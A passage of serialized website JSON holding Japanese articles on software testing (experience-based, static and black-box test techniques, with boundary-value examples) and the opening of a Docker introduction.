。",[11,13759,13760],{},"しかし、この技法には課題もあります。経験ベースのテストは担当者の進め方や過去の経験に大きく依存するため、その効果にばらつきが生じやすいという特性があります。また、テストのカバレッジも担当者ごとに差が出やすく、さらにカバレッジを測定すること自体が難しいため、カバレッジに基づいた評価が困難なケースが多い点も注意が必要です。",[11,13762,13763],{},[20,13764,13765],{},"エラー推測",[11,13767,13768],{},"エラー推測は、テスト担当者の知識をもとに、誤りや欠陥、故障が発生する可能性を予測するテスト手法です。この知識には、例えば以下のようなものが含まれます。",[31,13770,13771,13774,13777],{},[34,13772,13773],{},"アプリケーションの過去の挙動や動作履歴",[34,13775,13776],{},"開発者がよく犯しやすいミスの傾向",[34,13778,13779],{},"他のアプリケーションで発生した故障の事例",[11,13781,13782],{},"これらの知識は、テスト担当者の経験により得られるものであり、個々のテスト担当者の知識や経験には限界があるため、起こりうる誤りや欠陥、故障のリスクを一覧化し、そのリストをもとにテストケースを設計することが推奨されます。このリストをテスト担当者間で共有することで、スキルに依存しないテストが可能になり、さらに開発担当者と共有することで、設計や実装段階で早期に欠陥を防ぐことができます。",[11,13784,13785],{},"エラー推測の典型的な例として、以下のようなケースが挙げられます。",[199,13787,13788,13791,13794,13797],{},[34,13789,13790],{},"数値の0：0で除算を行うと例外が発生する",[34,13792,13793],{},"ヌル (null)：ヌルの値を参照しようとすると例外が発生する",[34,13795,13796],{},"要素数が0または1のリスト：通常、リストは複数の要素を持つことを前提にコーディングされがち",[34,13798,13799],{},"うるう年 (2月29日)：特殊な日付に関する問題",[11,13801,13802],{},"これらのテストケースが失敗しやすいことは経験的に知られており、同様に、対象の操作順序やタイミング、あるいはテスト対象の特性によっても典型的なエラー推測のパターンが存在します。",[11,13804,13805,197],{},[20,13806,13807],{},"探索的テスト",[11,13809,13810],{},"探索的テストは、テスト設計、実行、ログ記録、振り返り、そして改善の過程を通じてシステムを学びながら進めるテスト手法です。この方法では、テストケースを事前に作成せず、テストを実行しながらテスト対象をより深く理解することを目指します。探索的テストは、形式的な手法とは異なり、事前に計画されたテストケースに依存しませんが、何らかの基準に基づいてテストを進めることがあります。ただし、体系的な方法とは言えず、テスト担当者はテストチャーターに基づいてテストを実行します。テストチャーターは、テストを導くためのガイドとなり、形式的なテストケース作成に代わる指針として機能します。セッションベースのテストには以下の特徴もあります。",[31,13812,13813,13816],{},[34,13814,13815],{},"決められた時間内（セッション）でテストを行う",[34,13817,13818],{},"実行した手順や発見した事象をテストセッションノートに記録する",[11,13820,13821],{},"探索的テストは、仕様が不十分で事前にテストケースを作成できない場合や、スケジュールに余裕がない場合に特に有効です。この手法により、テスト設計と実行を同時に進めることで、効率よくテストを実施できます。また、形式的なテスト手法を補完する形で実施されることもあり、形式的なテストの後や並行して探索的テストを行うことで、仕様漏れや誤った仕様に基づく欠陥を発見することができます。しかし、もし探索的テストで本来形式的なテストで発見すべき欠陥が見つかれば、テストプロセスに問題がある可能性があります。さらに、仕様が不明瞭な場合には、探索的テストを実施する際に予測しながらテストを行う必要があり、これはテスト担当者のスキルや経験に大きく依存します。探索的テストは重大な欠陥を発見するのに効果的ですが、スキルや経験の差が結果に影響を与える点には注意が必要です。",[11,13823,13824],{},[20,13825,13826],{},"チェックリストベースドテスト",[11,13828,13829],{},"チェックリストベースドテストでは、テストケースを設計するためにチェックリストを使用します。チェックリストにはテスト条件が記載されており、日本ではこれを「テスト観点」としてリスト化し、テスト設計に活用することが一般的です。チェックリストは、テスト対象に合わせて作成する必要があります。新しくゼロから作成する場合もあれば、既存のチェックリストをそのまま使用したり、カスタマイズして使用することもあります。どちらの場合でも、チェックリストはテスト分析の一部として準備されます。",[11,13831,13832],{},"チェックリストはエラー推測と同様に、テスト担当者の経験を基に作成されます。さらに、以下のような情報も考慮されることがあります。",[31,13834,13835,13838],{},[34,13836,13837],{},"ユーザーにとって重要な要素",[34,13839,13840],{},"ソフトウェアが不合格となる理由やその仕組みについての理解",[11,13842,13843],{},"チェックリストベースドテストは、機能テストだけでなく非機能テストにも使用できます。非機能テストは機能テストに比べて専門的な知識が必要であり、仕様が不明確なことが多いため、チェックリストベースドテストが効果的に活用される場面が多いと考えられます。",[11,13845,13846],{},"チェックリストは高い抽象度で記述されているため、適切なチェックリストを基にテストケースを設計してテストを実施します。場合によっては、チェックリストから直接テストを実行することもあります。この方法では、広範囲なテストを行えるという利点がある一方で、チェックリストの解釈がテスト担当者によって異なるため、テスト実行にバラツキが生じる可能性が高くなります。また、テストの再現性が低くなるため、注意が必要です。",[11,13848,13849],{},[20,13850,3767],{},[11,13852,13853],{},[57,13854,13855],{"href":13855,"rel":13856},"https:\u002F\u002Fexam-site.briswell-vn.com\u002FstartTest\u002Fjstqb-9-jp",[61],{"title":64,"searchDepth":65,"depth":65,"links":13858},[],"2025-01-24","①ホワイトボックス ホワイトボックステストとは、対象となるシステムやコードの内部構造に基づいて行うテストです。このテストはあらゆるテストレベルで活用できますが、特にコンポーネントテストで用いられる、コードを基にした2つの手法に焦点を当てています。これらの手法では、コード内でどの要素に注目するかによって種類が異なります。また、注目した要素がどの程度実行されたかを示す「カバレッジ」（コードカバレッジ）の測定が重要な役割を果たします。",{},"\u002Fja\u002Fnews\u002Fkiem-thu-hop-trang-va-kiem-thu-dua-tren-kinh-nghiem",{"title":13677,"description":13860},"ja\u002Fnews\u002Fkiem-thu-hop-trang-va-kiem-thu-dua-tren-kinh-nghiem","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F01\u002F20160610\u002FScreenshot-2025-01-20-160540.png","DKlpxneNxA5hjtzQkkJo0K3birOQIL2B0L42n0f64_c",{"id":13868,"title":13869,"body":13870,"category":353,"created by":68,"date":14061,"description":13874,"extension":71,"meta":14062,"navigation":73,"path":14063,"sections":75,"seo":14064,"stem":14065,"thumbnail":14066,"__hash__":14067},"content_ja\u002Fja\u002Fnews\u002Fkien-thuc-co-ban-ve-kiem-thu-tinh.md","静的テストの基本",{"type":8,"value":13871,"toc":14059},[13872,13875,13878,13881,13884,13887,13892,13895,13898,13924,13927,13930,13933,13938,13941,13944,13970,13973,13978,13981,13984,13987,13990,14017,14020,14043,14046,14049,14053],[11,13873,13874],{},"テストとは一般的に、ソフトウェアを実行してその結果を確認するものと考えられがちですが、実際には要件やユーザーストーリー、ソースコードなどの成果物をレビューしたり、ソースコードを静的解析する作業も含まれます。",[11,13876,13877],{},"これらを明確に区別するために、ソフトウェアを実行して結果を確認する通常のテストを「動的テスト」、一方でレビューや静的解析を「静的テスト」と呼ぶことがあります。",[11,13879,13880],{},"ここでは、静的テストについて基本的な説明を行います。静的テストは、動的テストとは異なり、コードを実行したり動作を確認する必要がありません。具体的には、成果物の内容を人が確認する「レビュー」と、ツールを活用してコードや成果物を分析・評価する「静的解析」があります。どちらも、実際に動作させることなく評価を行える点が特徴です。",[11,13882,13883],{},"こうした静的テストは、社会インフラや交通、医療といった安全性が求められるシステムだけでなく、広くさまざまな分野で利用されています。例えば、ソフトウェア開発に限らず、日常生活においても「対象を動かさずに確認する」静的なアプローチは、意外と身近に存在しています。",[11,13885,13886],{},"その身近な例として、引っ越しの準備が挙げられます。引っ越しでは、転居に伴う役所の手続きやライフラインの変更手続き、引っ越し業者の手配など、事前にさまざまな準備が必要です。この際、チェックリストを活用すれば、やるべきことに漏れがないか確認できます。さらに、引っ越し作業に詳しい人にアドバイスをもらいながらリストを作成すれば、より効果的に準備を進めることができるでしょう。",[11,13888,13889],{},[20,13890,13891],{},"静的テストで検査可能な作業成果物",[11,13893,13894],{},"ソフトウェア開発におけるあらゆる成果物は、静的テスト（レビューや静的解析、またはその両方）の対象となります。",[11,13896,13897],{},"静的テストの対象例としては、以下のようなものが挙げられます。",[31,13899,13900,13903,13906,13909,13912,13915,13918,13921],{},[34,13901,13902],{},"仕様書（ビジネス要件、機能要件、セキュリティ要件など）",[34,13904,13905],{},"エピック、ユーザーストーリー、受け入れ基準",[34,13907,13908],{},"アーキテクチャや設計仕様",[34,13910,13911],{},"ソースコード",[34,13913,13914],{},"テスト関連資料（テスト計画、テストケース、テスト手順、自動化テストスクリプトなど）",[34,13916,13917],{},"ユーザーガイド",[34,13919,13920],{},"Webページ",[34,13922,13923],{},"プロジェクト計画書、スケジュール、予算書",[11,13925,13926],{},"上記のように、人が読んで理解したり、ツールが解析して矛盾や欠陥を発見可能な成果物はすべて静的テストの対象となります。",[11,13928,13929],{},"レビューでは、人が理解可能な成果物全般が対象となります。一方、静的解析では、コードやモデルのように形式的な構造を持つ成果物を対象に、ツールを活用して効率的に評価を行います。たとえば、静的解析の一例として、コーディング規約を用いてコードをチェックすることで、欠陥を減らすことができます。また、設計書など自然言語で書かれた資料についても、言語認識や構文解析を用いることで、誤字脱字、文法エラー、曖昧な表現を検出することが可能です。",[11,13931,13932],{},"さらに、静的解析はセキュアなソフトウェアを開発するための評価手段として、その利用範囲が広がっています。",[11,13934,13935],{},[20,13936,13937],{},"静的テストの利点",[11,13939,13940],{},"静的テストは、ソフトウェア開発ライフサイクルのさまざまな段階で実施可能です。特に、動的テストの前に行われるレビューや静的解析は、初期段階で欠陥を特定できるため、非常に効果的です。この段階で発見された欠陥は、修正の方法を容易に検討でき、低コストで対応できる場合が多いのが特徴です。一方、ライフサイクルの後半で動的テストによって発見される故障は、複雑な条件下で発生することが多く、欠陥の特定や修正の難易度が高まります。さらに、動的テストにはテスト環境の構築や対象コンポーネントのデプロイが必要であるため、静的テストに比べて準備に手間がかかります。静的テストは、コードの実行を伴わず、文書化された成果物があれば早期に欠陥を特定できる利点があります。",[11,13942,13943],{},"静的テストの主な利点は以下の通りです。",[31,13945,13946,13949,13952,13955,13958,13961,13964,13967],{},[34,13947,13948],{},"動的テストの前段階で効率的に欠陥を検出- 修正できる",[34,13950,13951],{},"動的テストでは発見しにくい欠陥を特定可能",[34,13953,13954],{},"要件の不整合や曖昧性、矛盾、欠落、不正確性、冗長性を明らかにし、設計やコーディング時の欠陥混入を防止",[34,13956,13957],{},"設計や保守性の向上を通じて開発生産性を向上",[34,13959,13960],{},"開発コストと時間の削減",[34,13962,13963],{},"テストにかかる時間とコストの削減",[34,13965,13966],{},"ライフサイクル後半やリリース後に発見される欠陥を減少させ、ソフトウェア全体の品質コストを削減",[34,13968,13969],{},"レビューを通じてチームメンバー間のコミュニケーションが向上",[11,13971,13972],{},"効果的なレビューを行うためには、ソフトウェアの内部構造を理解することが重要であり、それによってさらに多くの欠陥を特定できる可能性があります。ただし、レビューの成果は、参加者の知識や利用するチェックリストなどのノウハウに依存します。レビューの効率を高めるためには、経験豊富なレビューアーを選任したり、ナレッジベースを活用したチェックリストを準備することが効果的です。",[11,13974,13975],{},[20,13976,13977],{},"静的テストと動的テストの違い",[11,13979,13980],{},"静的テストと動的テストはどちらも「作業成果物の品質評価」と「欠陥の早期識別」を目的としていますが、それぞれ異なるタイプの欠陥を発見できるため、相互に補完し合うことで効果が最大化されます。その違いを理解するために、例を挙げてみましょう。",[11,13982,13983],{},"精密機械の設計では、歯車の間に「バックラッシュ」と呼ばれる隙間（遊び）が必要です。この知識がない設計者が図面を作成すると、隙間がないために動かない機械ができてしまいます。しかし、図面を確認する段階でバックラッシュを知っている人がいれば、その欠陥を指摘できます。これが静的テストによる欠陥識別の例です。一方、適切なバックラッシュの量は実際に機械を動作させて確認しないと分からない場合もあります。これが動的テストによる故障の発見に該当します。",[11,13985,13986],{},"静的テストの特徴として、直接的に欠陥を識別できることが挙げられます。一方、動的テストは、欠陥が引き起こす故障を検出するのが主な役割です。また、静的テストは動的テストよりもはるかに低コストで欠陥を発見することができます。特定の条件下でしか実行されないコードに潜む欠陥を動的テストで見つけるには、多数のテストケースを用意し、条件が一致した場合にのみ検出可能です。",[11,13988,13989],{},"静的テストと動的テストの得意分野は以下の通りです。",[31,13991,13992,14006],{},[34,13993,13994,13995],{},"静的テスト",[31,13996,13997,14000,14003],{},[34,13998,13999],{},"要件や設計の整合性、不整合、内部品質の確認に適している",[34,14001,14002],{},"コードの効率性やセキュリティ脆弱性の特定に効果的",[34,14004,14005],{},"低コストで欠陥を早期に発見可能",[34,14007,14008,14009],{},"動的テスト",[31,14010,14011,14014],{},[34,14012,14013],{},"パフォーマンスやユーザビリティ（使用感）の確認に向いている",[34,14015,14016],{},"実際の動作を通じて振る舞いを外部から検証",[11,14018,14019],{},"静的テストで発見しやすい欠陥の例",[31,14021,14022,14025,14028,14031,14034,14037,14040],{},[34,14023,14024],{},"要件の欠陥：不整合、曖昧性、矛盾、欠落、不正確性、冗長性",[34,14026,14027],{},"設計の欠陥：非効率なアルゴリズム、高結合度、低凝集度",[34,14029,14030],{},"コードの欠陥：未定義または未使用の変数、到達不能コード、コードの重複",[34,14032,14033],{},"標準からの逸脱：コーディング規約の違反",[34,14035,14036],{},"インターフェースの誤り：システム間で異なる単位が使用されている",[34,14038,14039],{},"セキュリティの脆弱性：バッファオーバーフローなど",[34,14041,14042],{},"テストベースの不備：受け入れ基準に対するテストケースの不足",[11,14044,14045],{},"これらの欠陥は、静的テストを通じて早期に発見できるため、開発後期や本番環境での修正コストを大幅に削減できます。また、ソフトウェアの再利用時や保守性向上においても、静的テストが有効です。モジュール化の適切性や再利用時に新たな欠陥が混入していないかを確認する作業は、静的テストが主に担います。",[11,14047,14048],{},"静的テストと動的テストを組み合わせることで、ソフトウェアの品質向上とコスト削減を両立することが可能です。",[11,14050,14051],{},[20,14052,3767],{},[11,14054,14055],{},[57,14056,14057],{"href":14057,"rel":14058},"https:\u002F\u002Fexam-site.briswell-vn.com\u002FstartTest\u002Fjstqb-7-jp",[61],{"title":64,"searchDepth":65,"depth":65,"links":14060},[],"2025-01-09",{},"\u002Fja\u002Fnews\u002Fkien-thuc-co-ban-ve-kiem-thu-tinh",{"title":13869,"description":13874},"ja\u002Fnews\u002Fkien-thuc-co-ban-ve-kiem-thu-tinh","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F01\u002F02173310\u002FScreenshot-2025-01-02-140214.png","Y3ppDg7OAnKuZXq2tkTF9-qb_vdywj59bkvUj-GokC0",{"id":14069,"title":14070,"body":14071,"category":353,"created by":68,"date":14430,"description":14075,"extension":71,"meta":14431,"navigation":73,"path":14432,"sections":75,"seo":14433,"stem":14434,"thumbnail":14435,"__hash__":14436},"content_ja\u002Fja\u002Fnews\u002Fky-thuat-kiem-thu-hop-den.md","ブラックボックステスト",{"type":8,"value":14072,"toc":14428},[14073,14076,14079,14082,14087,14090,14093,14098,14101,14104,14107,14110,14113,14118,14121,14126,14129,14132,14135,14138,14143,14146,14151,14154,14168,14171,14182,14185,14190,14193,14213,14216,14233,14236,14239,14244,14247,14250,14253,14258,14261,14266,14269,14274,14277,14291,14294,14299,14302,14310,14313,14318,14321,14324,14329,14332,14335,14340,14343,14348,14351,14359,14362,14367,14370,14387,14390,14398,14403,14406,14409,14412,14415,14418,14422],[11,14074,14075],{},"ブラックボックステストとは、ソフトウェアの内部構造やコードの仕組みを一切考慮せず、外部からその動作を確認するテスト手法です。この方法では、システムやアプリケーションに対して入力を与え、期待される出力が得られるかどうかを確認します。主に仕様書や設計書に基づいて行われ、システムがその要件を満たしているかを検証するのが目的です。",[11,14077,14078],{},"このテスト手法の大きな利点は、ソフトウェアの内部構造を知らなくても実施できる点です。そのため、テストを行う人が開発者である必要はなく、仕様書さえ理解していれば誰でも取り組むことが可能です。しかし一方で、内部ロジックに基づく問題が見つけにくいという欠点があります。また、全ての入力パターンを網羅するのは現実的ではないため、限られたケースでの検証となることが一般的です。",[11,14080,14081],{},"以下がブラックボックステストの技法となります。",[11,14083,14084],{},[20,14085,14086],{},"①同値分割法",[11,14088,14089],{},"同値分割法とは、システムやソフトウェアへの入力データを、同じ処理が行われることが期待されるパーティションに分ける手法です。各パーティション内のデータはシステムで同様に扱われるため、これらは同じもの（同値）として扱われます。",[11,14091,14092],{},"この手法では、パーティション内の代表的なデータを1つ選んでテストを行います。この代表的なデータでのテスト結果が、同じパーティション内の他のデータのテスト結果とみなされるため、効率的にテストが実施できます。",[11,14094,14095],{},[20,14096,14097],{},"同値パーティション",[11,14099,14100],{},"同値分割法では、データを振り分ける際、すべてのデータは必ず1つの同値パーティションに分類されます。これには、システムが受け入れる有効なデータを含む「有効同値パーティション」と、拒否される無効なデータを含む「無効同値パーティション」があります。",[11,14102,14103],{},"これまで述べたように、同値パーティションは入力データだけでなく、出力データにも存在します。例えば、インターネットの検索サイトで「ソフトウェアテスト」という単語を検索した場合、たくさんの結果が出れば検索結果は複数ページにわたります。逆に、ヒット数が少ない場合や全くない場合には、「次へ」リンクは表示されません。このように、出力データは「ヒットしない」「1ページで収まる」「複数ページにわたる」といったパーティションに分けられます。",[11,14105,14106],{},"また、内部変数や時間に依存するデータにも同値パーティションが存在します。例えば、文書が保存される前後といったイベントに基づいて、異なるパーティションを考えることができます。",[11,14108,14109],{},"同値パーティションは必要に応じて、さらに細かく分割することも可能です。",[11,14111,14112],{},"同値分割法は、入出力に対するカバレッジ目標を達成するために活用できます。この場合のカバレッジは、同値パーティションに関連しています。100%のカバレッジを達成するためには、分割された同値パーティションをすべて網羅するテストケースを設計する必要があります。具体的には、有効値と無効値の各同値パーティションから少なくとも1つのデータを選んでテストを行います。",[11,14114,14115],{},[20,14116,14117],{},"②境界値分析",[11,14119,14120],{},"数値や順序付けられた値に基づく同値パーティションにおいて、境界に位置する値でテストを行うと、システムやソフトウェアの不具合を発見しやすいことがわかります。これは、境界付近に多くの欠陥が隠れていることがあるためです。この現象は以前から知られており、現在でも効率的なテストを行うために境界値をターゲットにしたテストが実施されています。",[11,14122,14123],{},[20,14124,14125],{},"境界値",[11,14127,14128],{},"境界値とは、同値パーティションの端に位置する値を指します。例えば、次のような仕様に基づいて境界値分析を行い、テストケースを設計する場合を考えてみましょう。",[11,14130,14131],{},"仕様：年齢を入力し、女性で20歳以上34歳以下であれば「F1層」と表示する。",[11,14133,14134],{},"今回は境界値分析を行うので、年齢のみが入力可能で、数値以外の入力は受け付けないものとします。",[11,14136,14137],{},"この場合、年齢の数値範囲を示す線を見ても特に問題はないように思えます。しかし、この数値線を理解する際には注意が必要です。仕様に記載されている20歳と34歳の値をそのまま使う場合、境界値は同値パーティションの端にある値という考え方を意識していない可能性があります。",[11,14139,14140],{},[20,14141,14142],{},"境界値分析のテストケース",[11,14144,14145],{},"境界値分析は、同値分割法の拡張として使用されます。この分析手法を用いてテストケースを設計する際、**「境界値は同値パーティションの端の値」**という解釈の仕方により、複数のアプローチがあります。",[11,14147,14148],{},[20,14149,14150],{},"▫ 2ポイント境界値分析法",[11,14152,14153],{},"境界値分析では、有効値パーティションを重視します。例えば、仕様が「20歳以上～34歳以下」となっている場合、テストすべき値は次の4つになります。",[31,14155,14156,14159,14162,14165],{},[34,14157,14158],{},"有効範囲の最小値：20歳",[34,14160,14161],{},"有効範囲の最大値：34歳",[34,14163,14164],{},"無効範囲の最小値-1：19歳",[34,14166,14167],{},"無効範囲の最大値+1：35歳",[11,14169,14170],{},"また、無効値パーティションに注目すると、範囲は「0歳以上～20歳未満」です。テストするべき値は次のようになります。",[31,14172,14173,14176,14179],{},[34,14174,14175],{},"無効範囲の最小値-1：-1歳（無効データ）",[34,14177,14178],{},"有効範囲の最小値：0歳",[34,14180,14181],{},"無効範囲の最大値+1：20歳",[11,14183,14184],{},"無効値と有効値の境界が重複することにより、テストケース数は実際には少なくなります。このように、連続する同値パーティションの隣接境界値が重なることが多いため、重複を考慮してテストケース数をカウントします。",[11,14186,14187],{},[20,14188,14189],{},"▫ 3ポイント境界値分析法",[11,14191,14192],{},"3ポイント境界値分析法では、境界値に加えて、その前後の値もテストケースに含めます。たとえば、20歳以上～34歳以下の有効範囲では、次の6つの値をテストケースとして選びます。",[31,14194,14195,14198,14201,14204,14207,14210],{},[34,14196,14197],{},"19歳（境界より1つ少ない値）",[34,14199,14200],{},"20歳（境界値）",[34,14202,14203],{},"21歳（境界より1つ多い値）",[34,14205,14206],{},"33歳（境界より1つ少ない値）",[34,14208,14209],{},"34歳（境界値）",[34,14211,14212],{},"35歳（境界より1つ多い値）",[11,14214,14215],{},"無効値パーティションに対しても、3ポイント境界値分析を行います。例えば、「0歳以上～20歳未満」に対しては次の5つの値をテストケースとして選びます。",[31,14217,14218,14221,14224,14227,14230],{},[34,14219,14220],{},"-1歳（無効範囲）",[34,14222,14223],{},"0歳（有効範囲の最小値）",[34,14225,14226],{},"1歳（有効範囲）",[34,14228,14229],{},"19歳（境界前の値）",[34,14231,14232],{},"20歳（有効範囲の最大値）",[11,14234,14235],{},"この場合でも、重複した境界値があるため、テストケース数は若干減少します。3ポイント境界値分析法を使っても、隣接する境界値の重複を避けられないため、最終的なテストケース数は少なくなります。",[11,14237,14238],{},"このように、境界値分析では、テストケースを設計する際に境界値やその隣接値を選択し、重複を考慮することで効率的にテストが行えます。",[11,14240,14241],{},[20,14242,14243],{},"③ デシジョンテーブルテスト",[11,14245,14246],{},"デシジョンテーブルとは、入力データや入力条件の組み合わせに応じた処理や出力結果を表形式でまとめたものです。このテーブルは複雑なビジネスルールや論理を理解しやすく整理するのに有効です。デシジョンテーブルを使用してテスト設計を行う方法が、デシジョンテーブルテストです。",[11,14248,14249],{},"複数の条件が重なり合う場合、どの条件の組み合わせがどの処理や結果に対応するのかを理解するのは難しくなります。これらを整理しやすく示すための表が、デシジョンテーブルです。",[11,14251,14252],{},"デシジョンテーブルは、条件と動作という異なる項目を同一の表に記述するため、以下のような構成になっています。",[11,14254,14255],{},[20,14256,14257],{},"条件の一覧（条件記述部）",[11,14259,14260],{},"入力条件や入力データが記述される部分です。例えば、「20歳以上」や「顧客氏名」などが該当します。",[11,14262,14263],{},[20,14264,14265],{},"結果の一覧（動作記述部）",[11,14267,14268],{},"条件に基づいて実行される動作や処理の結果が記載される部分です。例としては、「F1層と表示する」などがあります。",[11,14270,14271],{},[20,14272,14273],{},"条件の組み合わせ（条件指定部）",[11,14275,14276],{},"条件に対する判定結果の組み合わせが記載される部分です。通常、判定結果は真（True）または偽（False）で表されます。表現方法としては、以下のようなものが使われます。",[31,14278,14279,14282,14285,14288],{},[34,14280,14281],{},"真、偽",[34,14283,14284],{},"Y、N",[34,14286,14287],{},"T、F",[34,14289,14290],{},"1、0",[11,14292,14293],{},"条件の値が判定に影響しない場合は、「-」または「N\u002FA」で示されることがあります。特定の条件では、ブール値ではなく具体的な値が使われることもあります。",[11,14295,14296],{},[20,14297,14298],{},"組み合わせに対応する結果（動作指定部）",[11,14300,14301],{},"条件の組み合わせに対して対応する動作結果が記載される部分です。動作結果の表現方法としては、次のようなものが使われます。",[31,14303,14304,14307],{},[34,14305,14306],{},"真と偽で表す",[34,14308,14309],{},"「X」と空白で表す",[11,14311,14312],{},"動作が発生しない場合は、「空白（ブランク）」で表現されることがあります。また、動作内容によっては、ブール値や「X」ではなく、具体的な個別の値が記載されることもあります。",[11,14314,14315],{},[20,14316,14317],{},"ルール（規則）",[11,14319,14320],{},"デシジョンテーブルの縦列は「ルール（規則）」として表されます。これは、条件の組み合わせとそれに対応する動作結果を組み合わせたものです。",[11,14322,14323],{},"デシジョンテーブルはエンタープライズ系（事務処理系）システムでのみ使用されると思われがちですが、論理が複雑な場合であれば、エンタープライズ系や組込み系を問わず広く適用可能です。",[11,14325,14326],{},[20,14327,14328],{},"④状態遷移テスト",[11,14330,14331],{},"通常のソフトウェアテストでは、同じ入力条件であれば同じ出力が得られることを前提にテストケースを作成します。しかし、現在の状態や過去の履歴によって動作が異なる場合もあり、同じ入力データでも異なる結果が得られることがあります。",[11,14333,14334],{},"さらに、状態が変化するということは、システム内で何らかの動作が実行されていることを意味します。システムが状態によって異なる振る舞いをする場合、その状態を考慮したテストケースを作成する必要があります。このようなケースで活用されるテスト手法が「状態遷移テスト」です。",[11,14336,14337],{},[20,14338,14339],{},"状態遷移図",[11,14341,14342],{},"システムには複数の状態があり、それぞれの状態間の遷移を示した図が「状態遷移図」です。この図は、有効な状態遷移を視覚的に表現します。",[11,14344,14345],{},[20,14346,14347],{},"状態遷移表",[11,14349,14350],{},"「状態遷移表」は、状態とイベントの関係をマトリクス形式で表したものです。表の交差部分には、イベントが発生した際の遷移後の状態が記載されます。この表の特徴は以下の通りです。",[31,14352,14353,14356],{},[34,14354,14355],{},"状態とイベントの全組み合わせを漏れなく整理できる。",[34,14357,14358],{},"無効な組み合わせを明確にできる。",[11,14360,14361],{},"状態遷移表を作成することで、仕様の矛盾や不備を特定する助けとなります。状態遷移図との違いは、遷移表では有効・無効の両方の遷移を検討する点です。",[11,14363,14364],{},[20,14365,14366],{},"状態遷移テスト",[11,14368,14369],{},"状態遷移テストでは、状態遷移図や状態遷移表を基にテストケースを設計します。設計するテストケースは、カバレッジ基準に応じて異なります。以下は一般的な設計方法です。",[31,14371,14372,14375,14378,14381,14384],{},[34,14373,14374],{},"代表的な状態遷移の流れを網羅する",[34,14376,14377],{},"全ての状態をカバーする",[34,14379,14380],{},"全ての遷移を検証する",[34,14382,14383],{},"特定の順序で遷移が発生するケースを作成する",[34,14385,14386],{},"無効な遷移を確認するケースを作成する",[11,14388,14389],{},"この手法は組み込み系ソフトウェアだけでなく、エンタープライズ系ソフトウェアにも有用です。具体的には以下のような場面で利用されます。",[31,14391,14392,14395],{},[34,14393,14394],{},"ワークフロー（例：申請中、処理待ちなどの状態を持つビジネスプロセス）のテスト",[34,14396,14397],{},"画面遷移を伴う操作のテスト",[11,14399,14400],{},[20,14401,14402],{},"⑤ユースケーステスト",[11,14404,14405],{},"ユースケーステストは、システムの利用シナリオやビジネスプロセスをもとにテストケースを設計する手法です。",[11,14407,14408],{},"ユースケースとは、システムやソフトウェア（サブジェクト）と外部のアクター（ユーザー、他のシステム、外部デバイスなど）との間の相互作用を記述したものです。この相互作用を明確にすることで、システムがどのように振る舞うべきかを把握できます。ユースケースは、すべてのやり取りを網羅するわけではなく、特にユーザーや顧客にとって価値のある結果をもたらす相互作用に焦点を当てます。また、相互作用によってシステムの状態が変化することも記述します。",[11,14410,14411],{},"ユースケースには、ビジネスユースケースとシステムユースケースの2種類があります。ビジネスユースケースは、企業全体をシステムとして捉え、顧客との相互作用を抽象的なレベルで記述したもので、システムユースケースは、ユーザーと対象システム間の詳細なやり取りを記述します。どちらのユースケースもテスト設計に利用されます。",[11,14413,14414],{},"ユースケースは図や文章で表現されます。ユースケース図はアクターとシステムの相互作用を図式化したもので、ユースケース記述はその詳細な内容を文章化したものです。記述には、ユースケース名や目的、アクター、事前条件や事後条件、そして基本フロー、代替フロー、例外フローといったプロセスが含まれます。事前条件はユースケース実行前に満たすべき条件、事後条件は実行後に達成すべき状態を示します。基本フローは最も頻繁に発生する流れであり、代替フローは基本フローから分岐しつつも同じ事後条件を満たします。例外フローは異常時の処理であり、事後条件も基本フローと異なります。",[11,14416,14417],{},"ユースケースのプロセスは自然言語で記述されることもあれば、アクティビティ図やワークフロー図、フローチャートといった視覚的な形式で表現されることもあります。これらを通じて、システムやビジネスプロセスの動作を分かりやすく整理し、テスト設計の基盤とします。",[11,14419,14420],{},[20,14421,3767],{},[11,14423,14424],{},[57,14425,14426],{"href":14426,"rel":14427},"https:\u002F\u002Fexam-site.briswell-vn.com\u002FstartTest\u002Fjstqb-8-jp",[61],{"title":64,"searchDepth":65,"depth":65,"links":14429},[],"2025-01-15",{},"\u002Fja\u002Fnews\u002Fky-thuat-kiem-thu-hop-den",{"title":14070,"description":14075},"ja\u002Fnews\u002Fky-thuat-kiem-thu-hop-den","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F06\u002F05080300\u002FKiem-thu-hop-den.png","Y0O66EPtnfQFpQIAhor6-g6iB7Myu70J1Dijhk4wfs4",{"id":14438,"title":14439,"body":14440,"category":1388,"created by":68,"date":15086,"description":15087,"extension":71,"meta":15088,"navigation":73,"path":15089,"sections":75,"seo":15090,"stem":15091,"thumbnail":15092,"__hash__":15093},"content_ja\u002Fja\u002Fnews\u002Flaunch-with-docker.md","Dockerの導入について",{"type":8,"value":14441,"toc":15072},[14442,14448,14451,14457,14477,14483,14490,14496,14499,14505,14508,14514,14518,14593,14599,14602,14605,14643,14646,14652,14658,14664,14670,14676,14682,14688,14694,14700,14706,14712,14718,14724,14727,14733,14736,14742,14745,14751,14754,14760,14763,14769,14772,14778,14781,14786,14789,14795,14798,14804,14811,14817,14820,14828,14832,14841,14845,14848,14851,14857,14860,14866,14869,14875,14878,14884,14887,14890,14896,14899,14905,14913,14919,14922,14928,14931,14937,14940,14946,14949,14952,14955,14958,14964,14967,14970,14973,14976,14982,14985,14991,14994,15000,15003,15009,15012,15018,15021,15026,15030,15035,15039,15042,15046,15050,15055,15060,15066],[495,14443,14445],{"id":14444},"i-dockerは何",[20,14446,14447],{},"I. Dockerは何？",[11,14449,14450],{},"Dockerとは、アプリケーションを開発・配置 ・デプロイ・実施するためのオープンソースプラットフォームです。Dockerを使用すると、アプリケーションをインフラストラクチャから分離できるため、ソフトウェアを迅速に配信できます。 アプリケーションを管理するのと同じ方法でインフラストラクチャを管理できます。 コードを迅速にデプロイ、配置 、テスト、デプロイするためのDockerの方法論を利用することで、コードの書きから本番環境での実行までの遅延を大幅に減らすことができます。",[495,14452,14454],{"id":14453},"ii-dockerの主なメリット",[20,14455,14456],{},"II. 